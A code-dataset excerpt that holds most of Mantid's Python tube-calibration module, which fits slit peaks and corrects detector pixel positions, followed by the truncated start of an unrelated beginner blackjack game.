DeleteWorkspace, Fit, GroupWorkspaces, RenameWorkspace\nfrom mantid.kernel import *\n\n# Calibration\nfrom ideal_tube import IdealTube\nfrom tube_calib_fit_params import TubeCalibFitParams\nfrom tube_spec import TubeSpec\n\n# Type aliases\nArrayInt = Union[List[int], numpy.ndarray]\nWorkspaceInput = Union[str, EventWorkspace, Workspace2D]\n\n\ndef create_tube_calibration_ws_by_ws_index_list(integrated_workspace, output_workspace, workspace_index_list):\n \"\"\"\n Creates workspace with integrated data for one tube against distance along tube\n The tube is specified by a list of workspace indices of its spectra\n\n @param integrated_workspace: Workspace of integrated data\n @param workspace_index_list: list of workspace indices for the tube\n @param x_unit: unit of distance ( Pixel)\n @param show_plot: True = show plot of workspace created, False = just make the workspace.\n\n Return Value: Workspace created\n\n \"\"\"\n\n n_spectra = len(workspace_index_list)\n if n_spectra < 1:\n return\n pixel_numbers = []\n integrated_pixel_counts = []\n pixel = 1\n # integratedWorkspace.\n for i in workspace_index_list:\n pixel_numbers.append(pixel)\n pixel = pixel + 1\n integrated_pixel_counts.append(integrated_workspace.dataY(i)[0])\n\n CreateWorkspace(dataX=pixel_numbers, dataY=integrated_pixel_counts, OutputWorkspace=output_workspace)\n # For some reason plotSpectrum is not recognised, but instead we can plot this workspace afterwards.\n\n\n# Return the udet number and [x,y,z] position of the detector (or virtual detector) corresponding to spectra spectra_number\n# Thanks to Pascal Manuel for this function\ndef get_detector_pos(work_handle, spectra_number):\n udet = work_handle.getDetector(spectra_number)\n return udet.getID(), udet.getPos()\n\n\n# Given the center of a slit in pixels return the interpolated y\n# Converts from pixel coords to Y.\n# If a pixel coord is not integer\n# it is effectively rounded to half integer before conversion, rather than interpolated.\n# It allows the pixel widths to vary (unlike correctTube).\n# Thanks to Pascal Manuel for this function\ndef get_ypos(work_handle, pixel_float):\n center_low_pixel = int(math.floor(pixel_float))\n center_high_pixel = int(math.ceil(pixel_float))\n idlow, low = get_detector_pos(work_handle, center_low_pixel) # Get the detector position of the nearest lower pixel\n idhigh, high = get_detector_pos(work_handle, center_high_pixel) # Get the detector position of the nearest higher pixel\n center_y = (center_high_pixel - pixel_float) * low.getY() + (pixel_float - center_low_pixel) * high.getY()\n center_y /= center_high_pixel - center_low_pixel\n return center_y\n\n\ndef fit_gaussian_params(height, centre, sigma): # Compose string argument for fit\n return \"name=Gaussian, Height={0}, PeakCentre={1}, Sigma={2}\".format(height, centre, sigma)\n\n\ndef fit_end_erfc_params(B, C): # Compose string argument for fit\n return \"name=EndErfc, B={0}, C={1}\".format(B, C)\n\n\n#\n# definition of the functions to fit\n#\n\n\ndef fit_edges(fit_par, index, ws, output_ws):\n # find the edge position\n centre = fit_par.getPeaks()[index]\n outer_edge, inner_edge, end_grad = fit_par.getEdgeParameters()\n margin = fit_par.getMargin()\n # get values around the expected center\n all_values = ws.dataY(0)\n right_limit = len(all_values)\n values = all_values[max(int(centre - margin), 0) : min(int(centre + margin), len(all_values))]\n\n # identify if the edge is a sloping edge or descent edge\n descent_mode = values[0] > values[-1]\n if descent_mode:\n start = max(centre - outer_edge, 0)\n end = min(centre + inner_edge, right_limit)\n edgeMode = -1\n else:\n start = max(centre - inner_edge, 0)\n end = min(centre + outer_edge, right_limit)\n edgeMode = 1\n Fit(InputWorkspace=ws, Function=fit_end_erfc_params(centre, end_grad * edgeMode), StartX=str(start), EndX=str(end), Output=output_ws)\n return 1 # peakIndex (center) -> parameter B of EndERFC\n\n\ndef fit_gaussian(fit_par, index, ws, output_ws):\n # find the peak position\n centre = fit_par.getPeaks()[index]\n margin = fit_par.getMargin()\n\n # get values around the expected center\n all_values = ws.dataY(0)\n\n right_limit = len(all_values)\n\n min_index = max(int(centre - margin), 0)\n max_index = min(int(centre + margin), right_limit)\n values = all_values[min_index:max_index]\n\n # find the peak position\n if fit_par.getAutomatic():\n # find the parameters for fit dynamically\n max_value = numpy.max(values)\n min_value = numpy.min(values)\n half = (max_value - min_value) * 2 / 3 + min_value\n above_half_line = len(numpy.where(values > half)[0])\n beyond_half_line = len(values) - above_half_line\n if above_half_line < beyond_half_line:\n # means that there are few values above the midle, so it is a peak\n centre = numpy.argmax(values) + min_index\n background = min_value\n height = max_value - background\n width = len(numpy.where(values > height / 2 + background))\n else:\n # means that there are many values above the midle, so it is a trough\n centre = numpy.argmin(values) + min_index\n background = max_value\n height = min_value - max_value # negative value\n width = len(numpy.where(values < min_value + height / 2))\n\n start = max(centre - margin, 0)\n end = min(centre + margin, right_limit)\n\n fit_msg = \"name=LinearBackground,A0=%f;name=Gaussian,Height=%f,PeakCentre=%f,Sigma=%f\" % (background, height, centre, width)\n\n Fit(InputWorkspace=ws, Function=fit_msg, StartX=str(start), EndX=str(end), Output=output_ws)\n\n peak_index = 3\n\n else:\n # get the parameters from fitParams\n background = 1000\n height, width = fit_par.getHeightAndWidth()\n start = max(centre - margin, 0)\n end = min(centre + margin, right_limit)\n\n # fit the input data as a linear background + gaussian fit\n # it was seen that the best result for static general fitParamters,\n # is to divide the values in two fitting steps\n Fit(InputWorkspace=ws, Function=\"name=LinearBackground,A0=%f\" % background, StartX=str(start), EndX=str(end), Output=\"Z1\")\n Fit(\n InputWorkspace=\"Z1_Workspace\",\n Function=\"name=Gaussian,Height=%f,PeakCentre=%f,Sigma=%f\" % (height, centre, width),\n WorkspaceIndex=2,\n StartX=str(start),\n EndX=str(end),\n Output=output_ws,\n )\n CloneWorkspace(output_ws + \"_Workspace\", OutputWorkspace=\"gauss_\" + str(index))\n peak_index = 1\n\n return peak_index\n\n\ndef getPoints(integrated_ws, func_forms, fit_params, which_tube, show_plot=False):\n \"\"\"\n Get the centres of N slits or edges for calibration\n\n It does look for the peak position in pixels by fitting the peaks and\n edges. It is the method responsible for estimating the peak position in each tube.\n\n .. note::\n This N slit method is suited for WISH or the five sharp peaks of MERLIN .\n\n :param integrated_ws: Workspace of integrated data\n :param func_forms: array of function form 1=slit/bar, 2=edge\n :param fit_params: a TubeCalibFitParams object contain the fit parameters\n :param which_tube: a list of workspace indices for one tube (define a single tube)\n :param show_plot: show plot for this tube\n\n :rtype: array of the slit/edge positions (-1.0 indicates failed to find position)\n\n \"\"\"\n\n # Create input workspace for fitting\n # get all the counts for the integrated workspace inside the tube\n counts_y = numpy.array([integrated_ws.dataY(i)[0] for i in which_tube])\n if len(counts_y) == 0:\n return\n get_points_ws = CreateWorkspace(range(len(counts_y)), counts_y, OutputWorkspace=\"TubePlot\")\n calib_points_ws = \"CalibPoint\"\n results = []\n fitt_y_values = []\n fitt_x_values = []\n\n # Loop over the points\n for i in range(len(func_forms)):\n if func_forms[i] == 2:\n # find the edge position\n peak_index = fit_edges(fit_params, i, get_points_ws, calib_points_ws)\n else:\n peak_index = fit_gaussian(fit_params, i, get_points_ws, calib_points_ws)\n peak_centre = tuple(ADS.retrieve(calib_points_ws + \"_Parameters\").row(peak_index).items())[1][1]\n results.append(peak_centre)\n\n if show_plot:\n ws = ADS.retrieve(calib_points_ws + \"_Workspace\")\n fitt_y_values.append(copy.copy(ws.dataY(1)))\n fitt_x_values.append(copy.copy(ws.dataX(1)))\n\n if show_plot:\n CreateWorkspace(OutputWorkspace=\"FittedData\", DataX=numpy.hstack(fitt_x_values), DataY=numpy.hstack(fitt_y_values))\n return results\n\n\ndef get_ideal_tube_from_n_slits(integrated_workspace, slits):\n \"\"\"\n Given N slits for calibration on an ideal tube\n convert to Y values to form a ideal tube for correctTubeToIdealTube()\n\n @param integrated_workspace: Workspace of integrated data\n @param slits: positions of slits for ideal tube (in pixels)\n\n Return Value: Ideal tube in Y-coords for use by correctTubeToIdealTube()\n\n \"\"\"\n ideal = []\n for i in range(len(slits)):\n ideal.append(get_ypos(integrated_workspace, slits[i])) # Use Pascal Manuel's Y conversion.\n\n return ideal\n\n\ndef correct_tube(AP, BP, CP, nDets):\n \"\"\"\n Corrects position errors in a tube in the same manner as is done for MERLIN\n according to an algorithm used by Rob Bewley in his MATLAB code.\n\n @param AP: Fit position of left (in pixels)\n @param BP: Fit position of right (in pixels)\n @param CP: Fit position of centre (in pixels)\n @param nDets: Number of pixel detectors in tube\n\n Return Value: Array of corrected Xs (in pixels)\n \"\"\"\n\n AO = AP / (nDets - AP)\n BO = (nDets - BP) / BP\n # First correct centre point for offsets\n CPN = CP - (AO * (nDets - CP)) + BO * CP\n x = []\n for i in range(nDets):\n xi = i + 1.0\n x.append(xi - ((nDets - xi) * AO) + (xi * BO)) # this is x corrected for offsets\n\n # Now calculate the gain error\n gain_error = ((nDets + 1) / 2.0 - CPN) / (CPN * (nDets - CPN))\n x_bin_new = []\n for i in range(nDets):\n xo = x[i]\n # Final bin position values corrected for offsets and gain\n x_bin_new.append(xo + (xo * (nDets - xo) * gain_error))\n\n return x_bin_new\n\n\ndef correct_tube_to_ideal_tube(\n tube_points: List,\n ideal_tube_points: List,\n n_detectors: int,\n test_mode: bool = False,\n polin_fit: int = 2,\n parameters_table: Optional[str] = None,\n) -> numpy.ndarray:\n r\"\"\"\n Corrects position errors in a tube given an array of points and their ideal positions.\n\n Note that any element of tubePoints not between 0.0 and nDets is considered a rogue point and so is ignored.\n\n :param tube_points: Array of Slit Points along tube to be fitted (in pixels)\n :param ideal_tube_points: The corresponding points in an ideal tube (Y-coords advised)\n :param n_detectors: Number of pixel detectors in tube\n :param test_mode: If true, detectors at the position of a slit will be moved out of the way\n to show the reckoned slit positions when the instrument is displayed.\n :param polin_fit: Order of the polynomial to fit for the ideal positions\n :param parameters_table: name of output TableWorkspace containing values and errors for optimized polynomial\n coefficients, as well as goodness-of-fit chi-square value. If `None`, no table is returned\n\n :returns: Array of corrected Xs (in same units as ideal tube points)\n \"\"\"\n\n # Check the arguments\n if len(tube_points) != len(ideal_tube_points):\n print(\"Number of points in tube {0} must equal number of points in ideal tube {1}\".format(len(tube_points), len(ideal_tube_points)))\n return x_result\n\n # Filter out rogue slit points\n used_tube_points = []\n used_ideal_tube_points = []\n missed_tube_points = [] # Used for diagnostic print only\n for i in range(len(tube_points)):\n if 0.0 < tube_points[i] < n_detectors:\n used_tube_points.append(tube_points[i])\n used_ideal_tube_points.append(ideal_tube_points[i])\n else:\n missed_tube_points.append(i + 1)\n\n # State number of rogue slit points, if any\n print(\"Only {0} out of {1} slit points used. Missed {2}\".format(len(used_tube_points), len(tube_points), missed_tube_points))\n\n # Check number of usable points\n if len(used_tube_points) < 3:\n print(\"Too few usable points in tube {0}\".format(len(used_tube_points)))\n return []\n\n # Fit quadratic to ideal tube points\n CreateWorkspace(dataX=used_tube_points, dataY=used_ideal_tube_points, OutputWorkspace=\"PolyFittingWorkspace\")\n try:\n Fit(\n InputWorkspace=\"PolyFittingWorkspace\",\n Function=\"name=Polynomial,n=%d\" % polin_fit,\n StartX=str(0.0),\n EndX=str(n_detectors),\n Output=\"QF\",\n )\n except:\n print(\"Fit failed\")\n return []\n\n param_q_f = ADS.retrieve(\"QF_Parameters\")\n\n # get the coefficients, get the Value from every row, and exclude the last one because it is the error\n # rowErr is the last one, it could be used to check accuracy of fit\n c = [r[\"Value\"] for r in param_q_f][:-1]\n\n # Modify the output array by the fitted quadratic\n x_result = numpy.polynomial.polynomial.polyval(list(range(n_detectors)), c)\n\n # In test mode, shove the pixels that are closest to the reckoned peaks\n # to the position of the first detector so that the resulting gaps can be seen.\n if test_mode:\n print(\"TestMode code\")\n for i in range(len(used_tube_points)):\n x_result[int(used_tube_points[i])] = x_result[0]\n\n # Create a copy of the parameters table if the table is requested\n if isinstance(parameters_table, str) and len(parameters_table) > 0:\n CloneWorkspace(InputWorkspace=param_q_f, OutputWorkspace=parameters_table)\n\n return x_result\n\n\ndef getCalibratedPixelPositions(\n input_workspace: WorkspaceInput,\n tube_positions: ArrayInt,\n ideal_tube_positions: ArrayInt,\n which_tube: ArrayInt,\n peak_test_mode: bool = False,\n polin_fit: int = 2,\n parameters_table: Optional[str] = None,\n) -> Tuple[List[int], List[int]]:\n r\"\"\"\n Get the calibrated detector positions for one tube.\n\n The tube is specified by a list of workspace indices of its spectra. The calibration is assumed\n to be done parallel to the Y-axis.\n\n :param input_workspace: Workspace with tubes to be calibrated - may be integrated or raw\n :param tube_positions: Array of calibration positions (in pixels)\n :param ideal_tube_positions: Where these calibration positions should be (in Y coords)\n :param which_tube: a list of workspace indices for the tube\n :param peak_test_mode: true if shoving detectors that are reckoned to be at peak away (for test purposes)\n :param polin_fit: Order of the polynomial to fit for the ideal positions\n :param parameters_table: name of output TableWorkspace containing values and errors for optimized polynomial\n coefficients, as well as goodness-of-fit chi-square value. If `None`, no table is returned\n\n :returns: list of pixel detector IDs, and list of their calibrated positions\n \"\"\"\n ws = ADS.retrieve(str(input_workspace)) # handle to the workspace\n # Arrays to be returned\n det_IDs = []\n det_positions = []\n # Get position of first and last pixel of tube\n n_dets = len(which_tube)\n if n_dets < 1:\n return det_IDs, det_positions\n\n # Correct positions of detectors in tube by quadratic fit. If so requested, store the table of fit parameters\n pixels = correct_tube_to_ideal_tube(\n tube_positions, ideal_tube_positions, n_dets, test_mode=peak_test_mode, polin_fit=polin_fit, parameters_table=parameters_table\n )\n if len(pixels) != n_dets:\n print(\"Tube correction failed.\")\n return det_IDs, det_positions\n base_instrument = ws.getInstrument().getBaseInstrument()\n # Get tube unit vector\n # get the detector from the baseInstrument, in order to get the positions\n # before any calibration being loaded.\n det0 = base_instrument.getDetector(ws.getDetector(which_tube[0]).getID())\n detN = base_instrument.getDetector(ws.getDetector(which_tube[-1]).getID())\n d0pos, dNpos = det0.getPos(), detN.getPos()\n # identical to norm of vector: |dNpos - d0pos|\n tubeLength = det0.getDistance(detN)\n if tubeLength <= 0.0:\n print(\"Zero length tube cannot be calibrated, calibration failed.\")\n return det_IDs, det_positions\n # unfortunately, the operation '/' is not defined in V3D object, so\n # I have to use the multiplication.\n # unit_vectors are defined as u = (v2-v1)/|v2-v1| = (dn-d0)/length\n unit_vector = (dNpos - d0pos) * (1.0 / tubeLength)\n\n # Get Centre (really want to get if from IDF to allow calibration a multiple number of times)\n center = (dNpos + d0pos) * 0.5 # (1.0/2)\n\n # Move the pixel detectors (might not work for sloping tubes)\n for i in range(n_dets):\n deti = ws.getDetector(which_tube[i])\n p_new = pixels[i]\n # again, the operation float * v3d is not defined, but v3d * float is,\n # so, I wrote the new pos as center + unit_vector * (float)\n new_pos = center + unit_vector * p_new\n\n det_IDs.append(deti.getID())\n det_positions.append(new_pos)\n\n return det_IDs, det_positions\n\n\ndef read_peak_file(file_name):\n \"\"\"Load the file calibration\n\n It returns a list of tuples, where the first value is the detector identification\n and the second value is its calibration values.\n\n Example of usage:\n for (det_code, cal_values) in readPeakFile('pathname/TubeDemo'):\n print(det_code)\n print(cal_values)\n\n \"\"\"\n loaded_file = []\n # split the entries to the main values:\n # For example:\n # MERLIN/door1/tube_1_1 [34.199347724575574, 525.5864438725401, 1001.7456248836971]\n # Will be splited as:\n # ['MERLIN/door1/tube_1_1', '', '34.199347724575574', '', '525.5864438725401', '', '1001.7456248836971', '', '', '']\n pattern = re.compile(r\"[\\[\\],\\s\\r]\")\n save_directory = config[\"defaultsave.directory\"]\n pfile = os.path.join(save_directory, file_name)\n for line in open(pfile, \"r\"):\n # check if the entry is a comment line\n if line.startswith(\"#\"):\n continue\n # split all values\n line_vals = re.split(pattern, line)\n id_ = line_vals[0]\n if id_ == \"\":\n continue\n try:\n f_values = [float(v) for v in line_vals[1:] if v != \"\"]\n except ValueError:\n continue\n\n loaded_file.append((id_, f_values))\n return loaded_file\n\n\n### THESE FUNCTIONS NEXT SHOULD BE THE ONLY FUNCTIONS THE USER CALLS FROM THIS FILE\n\n\ndef getCalibration(\n input_workspace: Union[str, Workspace2D],\n tubeSet: TubeSpec,\n calibTable: TableWorkspace,\n fitPar: TubeCalibFitParams,\n iTube: IdealTube,\n peaksTable: TableWorkspace,\n overridePeaks: Dict[int, List[Any]] = dict(),\n excludeShortTubes: float = 0.0,\n plotTube: List[int] = [],\n range_list: Optional[List[int]] = None,\n polinFit: int = 2,\n peaksTestMode: bool = False,\n parameters_table_group: Optional[str] = None,\n) -> None:\n \"\"\"\n Get the results the calibration and put them in the calibration table provided.\n\n :param input_workspace: Integrated Workspace with tubes to be calibrated\n :param tubeSet: Specification of Set of tubes to be calibrated ( :class:`~tube_spec.TubeSpec` object)\n :param calibTable: Empty calibration table into which the calibration results are placed. It is composed\n by 'Detector ID' and a V3D column 'Detector Position'. It will be filled with the IDs and calibrated\n positions of the detectors.\n :param fitPar: A :class:`~tube_calib_fit_params.TubeCalibFitParams` object for fitting the peaks\n :param iTube: The :class:`~ideal_tube.IdealTube` which contains the positions in metres of the shadows\n of the slits, bars or edges used for calibration.\n :param peaksTable: Peaks table into which the peaks positions will be put\n :param overridePeaks: dictionary with tube indexes keys and an array of peaks in pixels to override those\n that would be fitted for one tube\n :param excludeShortTubes: Exlude tubes shorter than specified length from calibration\n :param plotTube: List of tube indexes that will be ploted\n :param range_list: list of the tube indexes that will be calibrated. Default None, means all the tubes in tubeSet\n :param polinFit: Order of the polynomial to fit against the known positions. Acceptable: 2, 3\n :param peaksTestMode: true if shoving detectors that are reckoned to be at peak away (for test purposes)\n :param parameters_table_group: name of the WorkspaceGroup containing individual TableWorkspace tables. Each\n table holds values and errors for the optimized coefficients of the polynomial that fits the peak positions (in\n pixel coordinates) to the known slit positions (along the Y-coordinate). The last entry in the table\n holds the goodness-of-fit, chi-square value. The name of each individual TableWorkspace is the string\n `parameters_table_group` plus the suffix `_I`, where `I` is the tube index as given by list `range_list`.\n If `None`, no group workspace is generated.\n\n This is the main method called from :func:`~tube.calibrate` to perform the calibration.\n \"\"\"\n ws = ADS.retrieve(str(input_workspace)) # handle to the input workspace\n n_tubes = tubeSet.getNumTubes()\n print(\"Number of tubes =\", n_tubes)\n\n if range_list is None:\n range_list = range(n_tubes)\n\n all_skipped = set()\n\n parameters_tables = list() # hold the names of all the fit parameter tables\n for i in range_list:\n # Deal with (i+1)st tube specified\n wht, skipped = tubeSet.getTube(i)\n all_skipped.update(skipped)\n\n print(\"Calibrating tube\", i + 1, \"of\", n_tubes, tubeSet.getTubeName(i))\n if len(wht) < 1:\n print(\"Unable to get any workspace indices (spectra) for this tube. Tube\", tubeSet.getTubeName(i), \"not calibrated.\")\n # skip this tube\n continue\n\n # Calibrate the tube, if possible\n if tubeSet.getTubeLength(i) <= excludeShortTubes:\n # skip this tube\n continue\n\n ##############################\n # Define Peak Position session\n ##############################\n\n # if this tube is to be override, get the peaks positions for this tube.\n if i in overridePeaks:\n actual_tube = overridePeaks[i]\n else:\n # find the peaks positions\n plot_this_tube = i in plotTube\n actual_tube = getPoints(ws, iTube.getFunctionalForms(), fitPar, wht, show_plot=plot_this_tube)\n if plot_this_tube:\n RenameWorkspace(\"FittedData\", OutputWorkspace=\"FittedTube%d\" % (i))\n RenameWorkspace(\"TubePlot\", OutputWorkspace=\"TubePlot%d\" % (i))\n\n # Set the peak positions at the peakTable\n peaksTable.addRow([tubeSet.getTubeName(i)] + list(actual_tube))\n\n ##########################################\n # Define the correct position of detectors\n ##########################################\n if parameters_table_group is None:\n parameters_table = None\n else:\n parameters_table = f\"{parameters_table_group}_{i}\"\n parameters_tables.append(parameters_table)\n det_id_list, det_position_list = getCalibratedPixelPositions(\n ws, actual_tube, iTube.getArray(), wht, peaksTestMode, polinFit, parameters_table=parameters_table\n )\n # save the detector positions to calibTable\n if len(det_id_list) == len(wht): # We have corrected positions\n for j in range(len(wht)):\n next_row = {\"Detector ID\": det_id_list[j], \"Detector Position\": det_position_list[j]}\n calibTable.addRow(next_row)\n\n if len(all_skipped) > 0:\n print(\"%i histogram(s) were excluded from the calibration since they did not have an assigned detector.\" % len(all_skipped))\n\n # Create the WorkspaceGroup containing the fit parameters tables\n if len(parameters_tables) > 0:\n GroupWorkspaces(InputWorkspaces=parameters_tables, OutputWorkspace=parameters_table_group)\n\n # Delete temporary workspaces used in the calibration\n for ws_name in (\n \"TubePlot\",\n \"CalibPoint_NormalisedCovarianceMatrix\",\n \"CalibPoint_NormalisedCovarianceMatrix\",\n \"CalibPoint_NormalisedCovarianceMatrix\",\n \"CalibPoint_Parameters\",\n \"CalibPoint_Workspace\",\n \"PolyFittingWorkspace\",\n \"QF_NormalisedCovarianceMatrix\",\n \"QF_Parameters\",\n \"QF_Workspace\",\n \"Z1_Workspace\",\n \"Z1_Parameters\",\n \"Z1_NormalisedCovarianceMatrix\",\n ):\n try:\n DeleteWorkspace(ws_name)\n except:\n pass\n\n\ndef getCalibrationFromPeakFile(ws, calibTable, iTube, PeakFile):\n \"\"\"\n Get the results the calibration and put them in the calibration table provided.\n\n @param ws: Integrated Workspace with tubes to be calibrated\n @param calibTable: Calibration table into which the calibration results are placed\n @param iTube: The ideal tube\n @param PeakFile: File of peaks for calibration\n\n \"\"\"\n\n # Get Ideal Tube\n ideal_tube = iTube.getArray()\n\n # Read Peak File\n peak_array = read_peak_file(PeakFile)\n n_tubes = len(peak_array)\n print(\"Number of tubes read from file =\", n_tubes)\n\n for i in range(n_tubes):\n # Deal with (i+1)st tube got from file\n tube_name = peak_array[i][0] # e.g. 'MERLIN/door3/tube_3_1'\n tube = TubeSpec(ws)\n tube.setTubeSpecByString(tube_name)\n actual_tube = peak_array[i][1] # e.g. [2.0, 512.5, 1022.0]\n\n wht, _ = tube.getTube(0)\n print(\"Calibrating tube\", i + 1, \"of\", n_tubes, tube_name)\n if len(wht) < 1:\n print(\"Unable to get any workspace indices for this tube. Calibration abandoned.\")\n return\n\n det_id_list, det_pos_list = getCalibratedPixelPositions(ws, actual_tube, ideal_tube, wht)\n\n if len(det_id_list) == len(wht): # We have corrected positions\n for j in range(len(wht)):\n next_row = {\"Detector ID\": det_id_list[j], \"Detector Position\": det_pos_list[j]}\n calibTable.addRow(next_row)\n\n if n_tubes == 0:\n return\n\n # Delete temporary workspaces for getting new detector positions\n DeleteWorkspace(\"PolyFittingWorkspace\")\n DeleteWorkspace(\"QF_NormalisedCovarianceMatrix\")\n DeleteWorkspace(\"QF_Parameters\")\n DeleteWorkspace(\"QF_Workspace\")\n\n\n## implement this function\ndef constructIdealTubeFromRealTube(ws, tube, fitPar, funcForm):\n \"\"\"\n Construct an ideal tube from an actual tube (assumed ideal)\n\n :param ws: integrated workspace\n :param tube: specification of one tube (if several tubes, only first tube is used)\n :param fitPar: initial fit parameters for peak of the tube\n :param funcForm: listing the type of known positions 1=Gaussian; 2=edge\n :rtype: IdealTube\n\n \"\"\"\n # Get workspace indices\n ideal_tube = IdealTube()\n\n n_tubes = tube.getNumTubes()\n if n_tubes < 1:\n raise RuntimeError(\"Invalid tube specification received by constructIdealTubeFromRealTube\")\n elif n_tubes > 1:\n print(\"Specification has several tubes. The ideal tube will be based on the first tube\", tube.getTubeName(0))\n\n wht, _ = tube.getTube(0)\n\n # Check tube\n if len(wht) < 1:\n raise RuntimeError(\"Unable to get any workspace indices for this tube. Cannot use as ideal tube.\")\n\n # Get actual tube on which ideal tube is based\n actual_tube = getPoints(ws, funcForm, fitPar, wht)\n print(\"Actual tube that ideal tube is to be based upon\", actual_tube)\n\n # Get ideal tube based on this actual tube\n try:\n ideal_tube.setArray(actual_tube)\n except:\n msg = \"Attempted to create ideal tube based on actual tube\" + str(actual_tube)\n msg += \"Unable to create ideal tube.\"\n msg += \"Please choose another tube for constructIdealTubeFromRealTube().\"\n raise RuntimeError(msg)\n return ideal_tube\n","repo_name":"mantidproject/mantid","sub_path":"scripts/Calibration/tube_calib.py","file_name":"tube_calib.py","file_ext":"py","file_size_in_byte":28923,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"39"} +{"seq_id":"23634954225","text":"import random\r\n\r\n\r\n#create a 52 deck of cards\r\nsuits = ['Clubs','Dimonds','Hearts','Spades']\r\nranks= ['Ace','King','Queen','Jack','10', '9','8','7','6','5','4','3','2']\r\nvalue= {'Ace':10,'King':10,'Queen':10,'Jack':10,'10':10, '9':9,'8':8,'7':7,'6':6,'5':5,'4':4,'3':3,'2':2}\r\n\r\nclass BankAccount:\r\n def __init__ (self,dealer_balance=0,player_balance=0):\r\n self.dealer_balance=dealer_balance\r\n self.player_balance= player_balance\r\n\r\n pass\r\n\r\n# this class allows player to make a bet \r\n# bet amount in self.money \r\n# Dealer and player start with $0 in the bank\r\n\r\nclass Bet:\r\n def __init__(self,player_one = 0,dealer= 0 ):\r\n self.money = int(input('Place your bet $'))\r\n self.player_one = player_one\r\n self.dealer = dealer\r\n def amount(self):\r\n print(self.money)\r\n\r\n# the Class Deck holds the cards \r\nclass Deck:\r\n def __init__(self,suits,ranks,deck_of_52=[]):\r\n self.suits = suits\r\n self.ranks = ranks\r\n self.deck_of_52= deck_of_52\r\n\r\n#this function creates a deck of 52 cards and shuffles it into a random order \r\n def full_deck(self):\r\n for suit in suits:\r\n for rank in ranks:\r\n self.deck_of_52.append(suit+' '+rank)\r\n random.shuffle(self.deck_of_52)\r\n return(self.deck_of_52)\r\n# this function prints the deck of cards \r\n def deck_print(self):\r\n return(self.deck_of_52)\r\n\r\n# assigns cards to deck \r\nclass Dealer_player_cards:\r\n def __init__(self,deck_of_cards,player_one= [],dealer=[]):\r\n self.deck_of_cards=deck_of_cards\r\n self.player_one = player_one\r\n self.dealer = dealer\r\n def cards_for_players(self):\r\n for i in range(0,2): # the function repeats twice so each player has 2 cards to start out with \r\n #adds card from deck in index 0 to player one and removes it from the deck \r\n self.player_one.append(deck_of_cards[0])\r\n self.deck_of_cards.pop(0)\r\n\r\n #adds card from deck in index 0 to dealer and removes it from the deck \r\n self.dealer.append(deck_of_cards[0])\r\n self.deck_of_cards.pop(0)\r\n# the following functions return player_one, player_two, and dealer deck \r\n def player1_cards(self):\r\n return self.player_one\r\n def dealer_cards(self):\r\n return self.dealer\r\n def new_deck(self):\r\n return self.deck_of_cards\r\n\r\nclass Player_One:\r\n# this class inputs cards of player 1, the full deck of cards and default value points\r\n def __init__(self,cards_of_player1,full_deck_cards,points_of_cards= 0):\r\n self.cards_of_player1=cards_of_player1\r\n self.points_of_cards= points_of_cards\r\n self.full_deck_cards= full_deck_cards\r\n\r\n # calculates the current points \r\n def current_points(self):\r\n ace_values = {'11':11,'1':1}\r\n # finds the value for each card \r\n for card in self.cards_of_player1:\r\n card_value= card.split()\r\n # splits the card to look up value in the dictonary \r\n # first checks if it's an ace and gives the player an option if it is \r\n if card_value[1] == 'Ace':\r\n points_for_ace = input('do you want your Ace to be worth 1 point or 11 points? ')\r\n self.points_of_cards+= ace_values[points_for_ace]\r\n else:\r\n # adds value to points_of cards \r\n self.points_of_cards += value[card_value[1]]\r\n # checks if points_of is greater than 21 after adding points \r\n\r\n # FIX ME \r\n # if self.points_of_cards > 21:\r\n # return 'Bust'\r\n # break\r\n return self.points_of_cards\r\n def user_choice(self):\r\n ace_values = {'11':11,'1':1}\r\n #asks player to Hit or Stay\r\n while self.points_of_cards<=21:\r\n choice = input('Hit or Stay: ')\r\n # adds new card to deck if choice is hit \r\n while choice == 'Hit':\r\n new_card= self.full_deck_cards[0]\r\n self.cards_of_player1.append(new_card)\r\n self.full_deck_cards.pop(0)\r\n # hit _card is used for the dictonary matching value \r\n hit_card= new_card.split()\r\n\r\n if hit_card[1] == 'Ace':\r\n # asks player if they want ace be 1 or 11 \r\n points_for_ace = input('do you want your Ace to be worth 1 point or 11 points? ')\r\n # adds value to points_of cards \r\n self.points_of_cards+= ace_values[points_for_ace]\r\n print(self.cards_of_player1)\r\n print(self.points_of_cards)\r\n choice= input('Hit or Stay: ')\r\n continue\r\n\r\n else:\r\n # adds value to player one points_of_cards \r\n self.points_of_cards += value[hit_card[1]]\r\n print(self.cards_of_player1)\r\n print(self.points_of_cards)\r\n choice= input('Hit or Stay: ')\r\n\r\n if (choice =='Stay') and (self.points_of_cards<=21):\r\n return self.points_of_cards\r\n break\r\n #FIX ME \r\n elif (choice =='Stay'):\r\n return 'Bust'\r\n break\r\n\r\n # returns bust if points_of_cards greater than 21\r\n else:\r\n return 'Bust'\r\n \r\n\r\n def final_deck(self):\r\n if self.points_of_cards>21:\r\n return 'Bust'\r\n else:\r\n return self.full_deck_cards\r\n\r\nclass Dealer:\r\n def __init__(self,dealer_card_values,dealers_deck, deck_of_cards,dealer_points=0):\r\n self.dealer_card_values = dealer_card_values\r\n self.dealers_deck = dealers_deck\r\n self.dealer_points=dealer_points\r\n self.deck_of_cards = deck_of_cards\r\n def dealers_turn(self):\r\n self.dealer_points= 0\r\n for card in self.dealer_card_values:\r\n card_value = card.split()\r\n if card_value[1]== 'Ace':\r\n if self.dealer_points + 11 <= 21:\r\n self.dealer_points += 11\r\n else:\r\n self.dealer_points +=1\r\n else:\r\n self.dealer_points += value[card_value[1]]\r\n \r\n if (self.dealer_points + (value[self.deck_of_cards[0].split()[1]]) <= 21):\r\n self.dealer_card_values.append(self.deck_of_cards[0])\r\n self.deck_of_cards.pop(0)\r\n continue\r\n else:\r\n break\r\n \r\n if self.dealer_points> 21:\r\n return 'Bust'\r\n else:\r\n return self.dealer_points\r\n\r\nmoneys =Bet()\r\ngamble= moneys.amount()\r\n\r\ncard_deck=Deck(suits,ranks)\r\ndeck_of_cards=card_deck.full_deck()\r\n\r\ncard_assignment=Dealer_player_cards(deck_of_cards)\r\ncard_assignment.cards_for_players()\r\n\r\ncards_of_player1= card_assignment.player1_cards()\r\ncards_of_dealer= card_assignment.dealer_cards()\r\ndeck_for_player_one = card_assignment.new_deck()\r\n\r\nprint(f'your cards {cards_of_player1[0:]}')\r\nprint(f'dealer card {cards_of_dealer[0]}')\r\n\r\nplayer_1_start=Player_One(cards_of_player1,deck_for_player_one)\r\nplayer_one_points= 